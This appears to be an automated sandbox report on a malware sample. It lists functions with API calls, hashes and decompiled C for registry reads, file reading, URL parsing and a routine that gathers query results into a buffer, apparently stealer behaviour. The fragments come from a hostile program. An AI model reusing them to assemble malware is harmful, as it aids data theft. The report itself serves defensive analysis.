Function 0057B1D0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B1E4
RtlAllocateHeap.NTDLL(00000000), ref: 0057B1EB
RegOpenKeyExA.ADVAPI32(80000002,X(v,00000000,00020119,00575AF9), ref: 0057B20B
RegQueryValueExA.ADVAPI32(00575AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0057B22C
RegCloseKey.ADVAPI32(00575AF9), ref: 0057B236

Strings

X(v, xrefs: 0057B1FF, 0057B205

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X(v
API String ID: 3225020163-2044058809
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: c98e418c676b3b55cfa9dd13095ee8eed159bf61d001f36577cda9f4f88e9c97
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 1A0144B5A41208BFE700DBD0ED49FEEB778FB48700F008564FA0597291D6745950CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x762858
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x768550
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,00762858,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,00768550,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Strings

X(v, xrefs: 0040AFAF

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X(v
API String ID: 3225020163-2044058809
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0043CEBA, Relevance: 9.2, APIs: 6, Instructions: 238COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043CECC
_write_multi_char.LIBCMTD ref: 0043D4FB
_write_string.LIBCMTD ref: 0043D516
_write_multi_char.LIBCMTD ref: 0043D542
__mbtowc_l.LIBCMTD ref: 0043D5B1

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_write_string
String ID:
API String ID: 2136839635-0
Opcode ID: bf42d1b69b1ea14027d81cd37acfc4334fdf67cab3cca5d135293dc248d05faa
Instruction ID: 58b632dc79fd86f6015a983fe0a305895a57a4eebebd5f3e892f986948bcbe7f
Opcode Fuzzy Hash: bf42d1b69b1ea14027d81cd37acfc4334fdf67cab3cca5d135293dc248d05faa
Instruction Fuzzy Hash: A5A18FF1D002289BDB24DF55CC82BAEB375AB48309F14509AE6197B282D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 005797E0, Relevance: 9.1, APIs: 6, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057986B
RtlAllocateHeap.NTDLL(00000000), ref: 00579872
lstrcat.KERNEL32(?,?), ref: 005798B9
lstrcat.KERNEL32(?,00418BC4), ref: 005798CB
lstrlen.KERNEL32(?), ref: 005798DA

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: a233212397f5d1398f88026fc1dcf0b64002723ea2a0f61dcc585026c7d0f00e
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: 573161B190010CABDB14EBA8ED46FDA77B8BF4C700F0085A8F71997151D635DAA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00578760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005787DF
RtlAllocateHeap.NTDLL(00000000), ref: 005787E6
lstrcat.KERNEL32(?,?), ref: 0057882D
lstrcat.KERNEL32(?,00418BC4), ref: 0057883F
lstrlen.KERNEL32(?), ref: 0057884E

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: 4f88ffad3063ed494b8a4be1d56381d3463764d2aade0caa66df8a50c3ed8a61
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: E83147B190010CABCB14EBA4DD4AFEA7778BF48701F0085A4F719D7151DA35DA61CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x768910
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x768930
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 005775D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00577900,00000000,?), ref: 005775F7
GetFileSizeEx.KERNEL32(000000FF,00577900,?,00577900,00000000,?), ref: 0057761C
LocalAlloc.KERNEL32(00000040,?,?,00577900), ref: 0057763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00577900), ref: 00577665
LocalFree.KERNEL32(?), ref: 0057769B
CloseHandle.KERNEL32(000000FF,?,00577900,00000000,?), ref: 005776A5

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: fa61079fe17ebd5a69a6f0bdd638e3a5fe82eaf561fdc67a9f7f09b55e35e37f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 8E3130B4A04608EFDB14CF94E884BAE7BB5FF48300F10C558E9189B294C774AA51DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00582340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00582D2E,?,?), ref: 005823B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00582D2E), ref: 0058240A

Strings

.-X, xrefs: 0058246E, 005824C3, 00582471

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: FilePointer
String ID: .-X
API String ID: 973152223-2282238417
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 4183ca7cfdd6e54d6e667d2113f479854c7c158fb81c03aed468a278db4e0041
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 9451D574A002099FDB04DFA8C894BEEBBF5BB4C304F14C659E825AB391D735A845CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00582000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 00582060
memcpy.NTDLL(00000000,?,000000FF,?,00582AED,?,000000FF,?,00004000), ref: 0058208C
memcpy.NTDLL(?,00004000,000000FF,?,00582AED,?,000000FF,?,00004000), ref: 0058211D

Strings

*X, xrefs: 0058206E

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: memcpy$new[]
String ID: *X
API String ID: 3541104900-4008345970
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: 9857d81608e25f30703826e0af872eb837037057dd526882fef6d347f967ef1b
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: AC51AAB4A00209DFCB44DF98D585EAEBFB6BF88314F608559EA05AB345C731E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00435D77, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435FA5
__aulldiv.LIBCMT ref: 00435FC7

Strings

0, xrefs: 00435D93
9, xrefs: 00435FD8
', xrefs: 00435D77

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction ID: 9a5c9ba275f2ad7f342fb696eb407d23ef43910c6d8bf202eebb328ac4cdc717
Opcode Fuzzy Hash: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction Fuzzy Hash: A1410671D16629DFEB24CF58C889BAEB7B5FB48304F2495DAE009A7240C7389E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0057AF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00575A0A), ref: 0057AF3D
RtlAllocateHeap.NTDLL(00000000), ref: 0057AF44
GetLocalTime.KERNEL32(?,?,?,?,?,00575A0A), ref: 0057AF51
wsprintfA.USER32 ref: 0057AF7E

Strings

ZW, xrefs: 0057AF57, 0057AF5B

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: ZW
API String ID: 377395780-1200434509
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00574BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 00574C00
InternetCrackUrlA.WININET(?,00000000), ref: 00574C0B

Strings

<, xrefs: 00574BDF
http, xrefs: 00574C1C
@, xrefs: 00574BEC

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: 09ef28d960b29088cc90b949f7354a7fd407754de77771040dc5c1012f4425df
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: EBF0B2B591120CABDB14EFE4EC85FDD7BBCBB44340F00C518FA18AB150DB74A9449B95

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

<, xrefs: 0040498F
@, xrefs: 0040499C
http, xrefs: 004049CC

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00581D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00581DF4

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: 05546da3611c17ea113d7ad275a3f2e1062e0468cd3245a7f5db405aeee964b5
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: A4610BB4A0120ADFDB14DF54C544BAEBBB5BB04314F208658E905BB381C774EE82CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
